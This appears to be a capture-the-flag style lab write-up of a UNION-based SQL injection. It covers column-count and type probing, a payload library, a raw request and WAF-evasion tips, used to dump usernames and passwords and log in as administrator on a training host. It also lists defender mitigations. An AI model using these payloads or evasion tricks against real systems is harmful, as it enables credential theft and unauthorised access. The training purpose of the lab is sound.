SQL injection UNION attack, finding a column containing text

🎯 Objective

Exploit a SQL injection in the product category filter to perform a UNION-based attack that retrieves all username and password pairs from the users table, then log in as administrator.

🧩 Scenario & Scope

• Vulnerability: SQL Injection (UNION-based) in category parameter of /filter endpoint
• Goal: Extract credentials from users(username, password) and authenticate as administrator
• Assumptions: Response reflects results of the injected query (classic UNION dump)

🔎 Quick Recon

1. Identify column count using ORDER BY:
   sql Copy

   ' ORDER BY 1 --
   ' ORDER BY 2 --
   ' ORDER BY 3 --
   -- Keep incrementing until you get an error. The last non-error index = column count.

2. Confirm data types per column using benign UNION probes:
   sql Copy

   ' UNION SELECT 'a','a' --
   ' UNION SELECT 'a',1 --
   -- Mix strings/ints until the page renders (data types match).

✅ From testing: 2 columns and both accept strings.

🚀 Exploitation Walkthrough

1) Find the injection point

Use the category parameter of the /filter endpoint. Example baseline request:

GET /filter?category=Gifts HTTP/2
Host: <YOUR-LAB-HOST>

2) Determine column count

Stop when it errors at 3, meaning there are 2 columns:

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --    <-- errors here

3) Determine column data types

Prove both columns accept strings:

' UNION SELECT 'a','a' --

4) Dump the users table

Now UNION-select the username and password into the two visible columns:

https://<YOUR-LAB-HOST>/filter?category=Lifestyle' UNION SELECT username, password FROM users --

Example (from your lab):

https://0a3b004c04b6ef84c13c040d00c500d1.web-security-academy.net/filter?category=Lifestyle'+UNION+SELECT username,+password FROM users --

🖼️ Evidence:

5) Log in as administrator

Use the extracted credentials to authenticate at /login. This completes the lab.

🧠 Why This Works (Brief)

• The category parameter is concatenated unsafely into a SQL query.
• UNION SELECT allows stacking results from an attacker-controlled query with the original query.
• When column counts and data types match, results return in the HTTP response, revealing table data.

🛠️ Payload Library

Column count discovery

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --

Type discovery (2 columns)

' UNION SELECT 'a','a' --
' UNION SELECT 'a',NULL --
' UNION SELECT NULL,'a' --

Final extraction

' UNION SELECT username, password FROM users --

If the app only renders one column, concatenate:

sql Copy

' UNION SELECT username || ':' || password, 'x' FROM users --     -- Oracle
' UNION SELECT CONCAT(username,':',password), 'x' FROM users --    -- MySQL

🔐 Mitigations (for defenders)

• Use parameterized queries / prepared statements.
• Enforce least privilege on DB accounts (no read on auth tables for front-end reporters).
• Implement allow-listing for category values.
• Centralize error handling; avoid leaking DB errors in responses.
• Add WAF/IDS signatures for UNION patterns (not a substitute for fixing code).

📝 Notes & Tips

• If you hit WAFs, obfuscate keywords (UNI/**/ON, SEL/**/ECT) or use case variations.
• For Oracle/MySQL/MSSQL nuances, consult a SQLi cheat sheet (column concatenation, version probes, catalog tables).

🧪 Minimal Repro (Copy/Paste)

1. Count columns:
   text Copy

   ?category=Gifts' ORDER BY 1 --
   ?category=Gifts' ORDER BY 2 --

2. Match types:
   text Copy

   ?category=Gifts' UNION SELECT 'a','a' --

3. Dump creds:
   text Copy

   ?category=Lifestyle' UNION SELECT username, password FROM users --

4. Log in as administrator using the extracted password.

📦 Appendix — Raw Example Request

GET /filter?category=Lifestyle'+UNION+SELECT+username,+password+FROM+users+-- HTTP/2
Host: 0a3b004c04b6ef84c13c040d00c500d1.web-security-academy.net
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

Status: ✅ Complete — Users dumped; admin creds obtained; login successful.